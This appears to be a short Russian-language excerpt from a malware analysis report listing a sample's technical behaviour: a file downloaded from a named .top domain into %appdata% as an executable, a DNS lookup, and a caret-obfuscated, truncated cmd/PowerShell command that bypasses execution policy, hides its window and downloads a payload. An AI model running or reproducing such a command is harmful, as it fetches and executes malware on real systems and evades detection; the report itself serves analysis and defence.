Техническая информация
- http://zonexxopera.top/read.php?f=0.dat как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "P^oW^ErS^heLl.eX^E -EXe^cuTIoNP^o^LiCY^ by^PA^SS -^NOprO^fIl^e^ -wi^NDo^WS^tYle ^Hi^DdeN (^n^E^W^-O^bJ^e^C^t SYS^teM.nE^T^.Webc^L^IeNT).dOw^NlO^ADFIl^e^('http://zonexxope...
- DNS ASK zo###xopera.top
- '<SYSTEM32>\cmd.exe' /C "P^oW^ErS^heLl.eX^E -EXe^cuTIoNP^o^LiCY^ by^PA^SS -^NOprO^fIl^e^ -wi^NDo^WS^tYle ^Hi^DdeN (^n^E^W^-O^bJ^e^C^t SYS^teM.nE^T^.Webc^L^IeNT).dOw^NlO^ADFIl^e^('http://zonexxope...' (со скрытым окном)